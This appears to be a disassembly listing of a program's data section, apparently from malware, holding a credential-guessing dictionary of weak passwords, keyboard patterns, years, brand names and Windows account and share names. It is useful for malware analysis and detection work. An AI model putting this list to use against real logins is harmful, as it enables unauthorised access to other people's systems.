		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung	; "SAMSUNG"
		dd offset aSamsung_0	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset off_42CEC8
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset dword_430F74
		dd offset aAa		; "aa"
		dd offset off_430F70
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset dword_42CE68
		dd offset off_42CE64
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_2	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem_0	; "system"
		dd offset aSystem	; "SYSTEM"
		dd offset off_42CE10
		dd offset off_42CE0C
		dd offset off_42CE08
		dd offset aTiger	; "tiger"
		dd offset off_42CE04
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_430E00	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset dword_42CDF0
		dd offset dword_42CDEC
		dd offset off_42CDE8
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset off_42D88C
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset dword_42CD98
		dd offset dword_42CD94
		dd offset off_42CD90
		dd offset off_42CD8C
		dd offset dword_42CD88
		dd offset dword_42CD84
		dd offset off_42CD80
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset dword_42CD44
		dd offset dword_42CD40
		dd offset off_42CD3C
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset dword_42CD00
		dd offset dword_42CCFC
		dd offset off_42CCF8
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset dword_42CCE4
		dd offset dword_42CCE0
		dd offset off_42CCDC
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset dword_42CCC8
		dd offset dword_42CCC4
		dd offset off_42CCC0
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset dword_42CCA4
		dd offset dword_42CCA0
		dd offset off_42CC9C
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset dword_42CC80
		dd offset dword_42CC7C
		dd offset off_42CC78
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset dword_42CC5C
		dd offset dword_42CC58
		dd offset off_42CC54
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset dword_42CC38
		dd offset dword_42CC34
		dd offset off_42CC30
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset dword_42CC14
		dd offset dword_42CC10
		dd offset off_42CC0C
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset dword_42CBF0
		dd offset dword_42CBEC
		dd offset off_42CBE8
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset dword_42CBCC
		dd offset dword_42CBC8
		dd offset off_42CBC4
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset dword_42CBA8
		dd offset dword_42CBA4
		dd offset off_42CBA0
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset dword_42CB84
		dd offset dword_42CB80
		dd offset off_42CB7C
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset dword_42CB60
		dd offset dword_42CB5C
		dd offset off_42CB58
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset dword_42CB3C
		dd offset dword_42CB38
		dd offset off_42CB34
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset dword_42CB18
		dd offset dword_42CB14
		dd offset off_42CB10
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset dword_42CAF4
		dd offset dword_42CAF0
		dd offset off_42CAEC
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset dword_42CAAC
		dd offset dword_42CAA8
		dd offset off_42CAA4
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset dword_42CA88
		dd offset dword_42CA84
		dd offset off_42CA80
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset dword_42CA64
		dd offset dword_42CA60
		dd offset off_42CA5C
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset dword_42CDF0
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset off_42C994
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem_0	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset off_431200
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset off_431180
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser		; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438A10
		align 8
dword_42C948	dd 10h							; sub_40CC09+B5Dr ...
a142536		db '142536',0           ; DATA XREF: .data:0042C8C8o
		align 4
a753951		db '753951',0           ; DATA XREF: .data:0042C8C4o
		align 4
a951753		db '951753',0           ; DATA XREF: .data:0042C8C0o
		align 4
a159357		db '159357',0           ; DATA XREF: .data:0042C8BCo
		align 4
a753159		db '753159',0           ; DATA XREF: .data:0042C8B8o
		align 4
a13579		db '13579',0            ; DATA XREF: .data:0042C8B4o
		align 4
a2684		db '2684',0             ; DATA XREF: .data:0042C8B0o
		align 4
a2486		db '2486',0             ; DATA XREF: .data:0042C8ACo
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: .data:0042C8A8o
		align 4
off_42C994	dd offset byte_626E6D	; DATA XREF: .data:0042C8A4o
a112233		db '112233',0           ; DATA XREF: .data:0042C8A0o
		align 10h
a3wsx		db '3wsx',0             ; DATA XREF: .data:0042C89Co
		align 4
a3edc		db '3edc',0             ; DATA XREF: .data:0042C898o
		align 10h
a2qaz		db '2qaz',0             ; DATA XREF: .data:0042C894o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .data:0042C890o
		align 10h
a1qaz		db '1qaz',0             ; DATA XREF: .data:0042C88Co
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .data:0042C888o
		align 10h
aAassdd		db 'aassdd',0           ; DATA XREF: .data:0042C884o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .data:0042C880o
		align 10h
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .data:0042C87Co
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .data:0042C878o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .data:0042C874o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: .data:0042C870o
		align 4
aAass		db 'aass',0             ; DATA XREF: .data:0042C86Co
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: .data:0042C868o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .data:0042C864o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .data:0042C860o
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .data:0042C85Co
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: .data:0042C858o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .data:0042C854o
aZz		db 'zz',0               ; DATA XREF: .data:0042C850o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .data:0042C848o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .data:0042C844o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: .data:0042C840o
		align 4
off_42CA5C	dd offset byte_717171	; DATA XREF: .data:0042C83Co
dword_42CA60	dd 7171h	dword_42CA64	dd 71h		aWwwwww		db 'wwwwww',0           ; DATA XREF: .data:0042C830o
		align 10h
aWwwww		db 'wwwww',0            ; DATA XREF: .data:0042C82Co
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .data:0042C828o
		align 10h
off_42CA80	dd offset byte_777777	; DATA XREF: .data:0042C824o
dword_42CA84	dd 7777h	dword_42CA88	dd 77h		aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .data:0042C818o
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: .data:0042C814o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .data:0042C810o
		align 4
off_42CAA4	dd offset word_767676	; DATA XREF: sub_40CC09+2367o
					; .data:0042C80Co
dword_42CAA8	dd 7676h	dword_42CAAC	dd 76h		aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .data:0042C800o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .data:0042C7FCo
		align 10h
aYyyy		db 'yyyy',0             ; DATA XREF: .data:0042C7F8o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .data:0042C7F4o
aYy		db 'yy',0               ; DATA XREF: .data:0042C7F0o
		align 10h
aY:					; DATA XREF: .data:0042C7ECo
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .data:0042C7E8o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .data:0042C7E4o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: .data:0042C7E0o
		align 4
off_42CAEC	dd offset loc_747472+2	; DATA XREF: .data:0042C7DCo
dword_42CAF0	dd 7474h	dword_42CAF4	dd 74h		aSsssss		db 'ssssss',0           ; DATA XREF: .data:0042C7D0o
		align 10h
aSssss		db 'sssss',0            ; DATA XREF: .data:0042C7CCo
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .data:0042C7C8o
		align 10h
off_42CB10	dd offset byte_737373	; DATA XREF: .data:0042C7C4o
dword_42CB14	dd 7373h	dword_42CB18	dd 73h		aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .data:0042C7B8o
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: .data:0042C7B4o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .data:0042C7B0o
		align 4
off_42CB34	dd offset loc_757573+2	; DATA XREF: .data:0042C7ACo
dword_42CB38	dd 7575h	dword_42CB3C	dd 75h		aPppppp		db 'pppppp',0           ; DATA XREF: .data:0042C7A0o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .data:0042C79Co
		align 10h
aPppp		db 'pppp',0             ; DATA XREF: .data:0042C798o
		align 4
off_42CB58	dd offset dword_707070	; DATA XREF: .data:0042C794o
dword_42CB5C	dd 7070h	dword_42CB60	dd 70h		aOooooo		db 'oooooo',0           ; DATA XREF: .data:0042C788o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .data:0042C784o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: .data:0042C780o
		align 4
off_42CB7C	dd offset byte_6F6F6F	; DATA XREF: .data:0042C77Co
dword_42CB80	dd 6F6Fh	dword_42CB84	dd 6Fh		aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .data:0042C770o
		align 10h
aNnnnn		db 'nnnnn',0            ; DATA XREF: .data:0042C76Co
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .data:0042C768o
		align 10h
off_42CBA0	dd offset word_6E6E6E	; DATA XREF: .data:0042C764o
dword_42CBA4	dd 6E6Eh	dword_42CBA8	dd 6Eh		aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .data:0042C758o
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: .data:0042C754o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .data:0042C750o
		align 4
off_42CBC4	dd offset byte_6D6D6D	; DATA XREF: .data:0042C74Co
dword_42CBC8	dd 6D6Dh	dword_42CBCC	dd 6Dh		aLlllll		db 'llllll',0           ; DATA XREF: .data:0042C740o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .data:0042C73Co
		align 10h
aLlll		db 'llll',0             ; DATA XREF: .data:0042C738o
		align 4
off_42CBE8	dd offset dword_6C6C6C	; DATA XREF: .data:0042C734o
dword_42CBEC	dd 6C6Ch	dword_42CBF0	dd 6Ch		aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .data:0042C728o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .data:0042C724o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: .data:0042C720o
		align 4
off_42CC0C	dd offset byte_6B6B6B	; DATA XREF: .data:0042C71Co
dword_42CC10	dd 6B6Bh	dword_42CC14	dd 6Bh		aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .data:0042C710o
		align 10h
aJjjjj		db 'jjjjj',0            ; DATA XREF: .data:0042C70Co
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .data:0042C708o
		align 10h
off_42CC30	dd offset word_6A6A6A	; DATA XREF: .data:0042C704o
dword_42CC34	dd 6A6Ah	dword_42CC38	dd 6Ah		aIiiiii		db 'iiiiii',0           ; DATA XREF: .data:0042C6F8o
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: .data:0042C6F4o
		align 4
aIiii		db 'iiii',0             ; DATA XREF: .data:0042C6F0o
		align 4
off_42CC54	dd offset byte_696969	; DATA XREF: .data:0042C6ECo
dword_42CC58	dd 6969h	dword_42CC5C	dd 69h		aHhhhhh		db 'hhhhhh',0           ; DATA XREF: .data:0042C6E0o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: .data:0042C6DCo
		align 10h
aHhhh		db 'hhhh',0             ; DATA XREF: .data:0042C6D8o
		align 4
off_42CC78	dd offset dword_686868	; DATA XREF: .data:0042C6D4o
dword_42CC7C	dd 6868h	dword_42CC80	dd 68h		aGggggg		db 'gggggg',0           ; DATA XREF: .data:0042C6C8o
		align 4
aGgggg		db 'ggggg',0            ; DATA XREF: .data:0042C6C4o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: .data:0042C6C0o
		align 4
off_42CC9C	dd offset byte_676767	; DATA XREF: .data:0042C6BCo
dword_42CCA0	dd 6767h	dword_42CCA4	dd 67h		aEeeeee		db 'eeeeee',0           ; DATA XREF: .data:0042C6B0o
		align 10h
aEeeee		db 'eeeee',0            ; DATA XREF: .data:0042C6ACo
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .data:0042C6A8o
		align 10h
off_42CCC0	dd offset byte_656565	; DATA XREF: .data:0042C6A4o
dword_42CCC4	dd 6565h	dword_42CCC8	dd 65h		aFffff		db 'fffff',0            ; DATA XREF: .data:0042C698o
		align 4
aFfff		db 'ffff',0             ; DATA XREF: .data:0042C694o
		align 4
off_42CCDC	dd offset word_666666	; DATA XREF: .data:0042C690o
dword_42CCE0	dd 6666h	dword_42CCE4	dd 66h		aDdddd		db 'ddddd',0            ; DATA XREF: .data:0042C684o
		align 10h
aDddd		db 'dddd',0             ; DATA XREF: .data:0042C680o
		align 4
off_42CCF8	dd offset dword_646464	; DATA XREF: .data:0042C67Co
dword_42CCFC	dd 6464h	dword_42CD00	dd 64h		aCcccccccc	db 'ccccccccc',0        ; DATA XREF: .data:0042C670o
		align 10h
aCccccccc	db 'cccccccc',0         ; DATA XREF: .data:0042C66Co
		align 4
aCcccccc	db 'ccccccc',0          ; DATA XREF: .data:0042C668o
aCccccc		db 'cccccc',0           ; DATA XREF: .data:0042C664o
		align 4
aCcccc		db 'ccccc',0            ; DATA XREF: .data:0042C660o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: .data:0042C65Co
		align 4
off_42CD3C	dd offset byte_636363	; DATA XREF: .data:0042C658o
dword_42CD40	dd 6363h	dword_42CD44	dd 63h		aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: .data:0042C64Co
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: .data:0042C648o
		align 10h
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: .data:0042C644o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .data:0042C640o
		align 10h
aBbbbb		db 'bbbbb',0            ; DATA XREF: .data:0042C63Co
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: .data:0042C638o
		align 10h
off_42CD80	dd offset word_626262	; DATA XREF: .data:0042C634o
dword_42CD84	dd 6262h	dword_42CD88	dd 62h		off_42CD8C	dd offset word_766672	; DATA XREF: .data:0042C628o
off_42CD90	dd offset byte_636465	; DATA XREF: .data:0042C624o
dword_42CD94	dd 787377h	dword_42CD98	dd 7A6171h	aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: .data:0042C618o
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: .data:0042C614o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: .data:0042C610o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .data:0042C60Co
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: .data:0042C608o
		align 4
aAs		db 'as',0               ; DATA XREF: .data:0042C5FCo
		align 10h
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .data:0042C5F8o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .data:0042C5F4o
		align 10h
aZxcvb		db 'zxcvb',0            ; DATA XREF: .data:0042C5F0o
		align 4
off_42CDE8	dd offset word_63787A	; DATA XREF: .data:0042C5E8o
dword_42CDEC	dd 787Ah	dword_42CDF0	dd 7Ah							; .data:0042C84Co
aKonyang	db 'konyang',0          ; DATA XREF: .data:0042C5DCo
aToyota_0	db 'TOYOTA',0           ; DATA XREF: .data:0042C5A4o
		align 4
off_42CE04	dd offset byte_524F4B	; DATA XREF: .data:0042C5A0o
off_42CE08	dd offset byte_726F6B	; DATA XREF: .data:0042C598o
off_42CE0C	dd offset byte_696863	; DATA XREF: .data:0042C594o
off_42CE10	dd offset byte_494843	; DATA XREF: .data:0042C590o
aSystem_0	db 'system',0           ; DATA XREF: .data:0042C588o
					; .data:0042C8CCo
		align 4
aServices	db 'services',0         ; DATA XREF: .data:0042C584o
		align 4
aServers	db 'servers',0          ; DATA XREF: .data:0042C580o
aServer_2	db 'server',0           ; DATA XREF: .data:0042C578o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .data:0042C570o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .data:0042C56Co
		align 10h
aQwertyui	db 'qwertyui',0         ; DATA XREF: .data:0042C568o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .data:0042C564o
off_42CE64	dd offset byte_657771	; DATA XREF: .data:0042C554o
dword_42CE68	dd 7771h	aPassword1	db 'password1',0        ; DATA XREF: .data:0042C54Co
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .data:0042C548o
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .data:0042C544o
		align 10h
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .data:0042C540o
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .data:0042C53Co
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .data:0042C538o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .data:0042C534o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: .data:0042C530o
		align 4
aAa		db 'aa',0               ; DATA XREF: .data:0042C528o
		align 10h
aNokia		db 'NOKIA',0            ; DATA XREF: .data:0042C51Co
		align 4
off_42CEC8	dd offset byte_584553	; DATA XREF: .data:0042C518o
aCreative	db 'CREATIVE',0         ; DATA XREF: .data:0042C514o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .data:0042C510o
		align 10h
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .data:0042C50Co
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .data:0042C508o
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: .data:0042C504o
		align 4
aSamsung_0	db 'samsung',0          ; DATA XREF: .data:0042C500o
aSamsung	db 'SAMSUNG',0          ; DATA XREF: .data:0042C4FCo
aSony		db 'sony',0             ; DATA XREF: .data:0042C4F8o
		align 4
a7654321	db '7654321',0          ; DATA XREF: .data:0042C4F4o
a4321		db '4321',0             ; DATA XREF: .data:0042C4E8o
		align 4
a321		db '321',0              ; DATA XREF: .data:0042C4E4o
a2006		db '2006',0             ; DATA XREF: .data:0042C4DCo
		align 10h
a2005		db '2005',0             ; DATA XREF: .data:0042C4D8o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:0042C4D4o
		align 10h
a2001		db '2001',0             ; DATA XREF: .data:0042C4C8o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:0042C4C4o
		align 10h
a1999		db '1999',0             ; DATA XREF: .data:0042C4C0o
		align 4
a1998		db '1998',0             ; DATA XREF: .data:0042C4BCo
		align 10h
a1997		db '1997',0             ; DATA XREF: .data:0042C4B8o
		align 4
a1996		db '1996',0             ; DATA XREF: .data:0042C4B4o
		align 10h
a1995		db '1995',0             ; DATA XREF: .data:0042C4B0o
		align 4
a1994		db '1994',0             ; DATA XREF: .data:0042C4ACo
		align 10h
a1993		db '1993',0             ; DATA XREF: .data:0042C4A8o
		align 4
a1992		db '1992',0             ; DATA XREF: .data:0042C4A4o
		align 10h
a1991		db '1991',0             ; DATA XREF: .data:0042C4A0o
		align 4
a1990		db '1990',0             ; DATA XREF: .data:0042C49Co
		align 10h
a1989		db '1989',0             ; DATA XREF: .data:0042C498o
		align 4
a1988		db '1988',0             ; DATA XREF: .data:0042C494o
		align 10h
a1987		db '1987',0             ; DATA XREF: .data:0042C490o
		align 4
a1986		db '1986',0             ; DATA XREF: .data:0042C48Co
		align 10h
a1985		db '1985',0             ; DATA XREF: .data:0042C488o
		align 4
a1984		db '1984',0             ; DATA XREF: .data:0042C484o
		align 10h
a1983		db '1983',0             ; DATA XREF: .data:0042C480o
		align 4
a1982		db '1982',0             ; DATA XREF: .data:0042C47Co
		align 10h
a1981		db '1981',0             ; DATA XREF: .data:0042C478o
		align 4
a1980		db '1980',0             ; DATA XREF: .data:0042C474o
		align 10h
a1979		db '1979',0             ; DATA XREF: .data:0042C470o
		align 4
a1978		db '1978',0             ; DATA XREF: .data:0042C46Co
		align 10h
a1977		db '1977',0             ; DATA XREF: .data:0042C468o
		align 4
a1976		db '1976',0             ; DATA XREF: .data:0042C464o
		align 10h
a1975		db '1975',0             ; DATA XREF: .data:0042C460o
		align 4
a1974		db '1974',0             ; DATA XREF: .data:0042C45Co
		align 10h
a1973		db '1973',0             ; DATA XREF: .data:0042C458o
		align 4
a1972		db '1972',0             ; DATA XREF: .data:0042C454o
		align 10h
a1971		db '1971',0             ; DATA XREF: .data:0042C450o
		align 4
a1970		db '1970',0             ; DATA XREF: .data:0042C44Co
		align 10h
a1969		db '1969',0             ; DATA XREF: .data:0042C448o
		align 4
a1968		db '1968',0             ; DATA XREF: .data:0042C444o
		align 10h
a1967		db '1967',0             ; DATA XREF: .data:0042C440o
		align 4
a1966		db '1966',0             ; DATA XREF: .data:0042C43Co
		align 10h
a1965		db '1965',0             ; DATA XREF: .data:0042C438o
		align 4
a1964		db '1964',0             ; DATA XREF: .data:0042C434o
		align 10h
a1963		db '1963',0             ; DATA XREF: .data:0042C430o
		align 4
a1962		db '1962',0             ; DATA XREF: .data:0042C42Co
		align 10h
a1961		db '1961',0             ; DATA XREF: .data:0042C428o
		align 4
a1960		db '1960',0             ; DATA XREF: .data:0042C424o
		align 10h
a1959		db '1959',0             ; DATA XREF: .data:0042C420o
		align 4
a1958		db '1958',0             ; DATA XREF: .data:0042C41Co
		align 10h
a1957		db '1957',0             ; DATA XREF: .data:0042C418o
		align 4
a1956		db '1956',0             ; DATA XREF: .data:0042C414o
		align 10h
a1955		db '1955',0             ; DATA XREF: .data:0042C410o
		align 4
a1954		db '1954',0             ; DATA XREF: .data:0042C40Co
		align 10h
a1953		db '1953',0             ; DATA XREF: .data:0042C408o
		align 4
a1952		db '1952',0             ; DATA XREF: .data:0042C404o
		align 10h
a1234qwe	db '1234qwe',0          ; DATA XREF: .data:0042C400o
a1234asd	db '1234asd',0          ; DATA XREF: .data:0042C3FCo
a1234abc	db '1234abc',0          ; DATA XREF: .data:0042C3F8o
a123qwer	db '123qwer',0          ; DATA XREF: .data:0042C3E4o
a12qwe		db '12qwe',0            ; DATA XREF: .data:0042C3E0o
		align 4
a12asd		db '12asd',0            ; DATA XREF: .data:0042C3DCo
		align 10h
a12abc		db '12abc',0            ; DATA XREF: .data:0042C3D8o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .data:0042C3D4o
		align 10h
a1qwe		db '1qwe',0             ; DATA XREF: .data:0042C3D0o
		align 4
a1asd		db '1asd',0             ; DATA XREF: .data:0042C3CCo
		align 10h
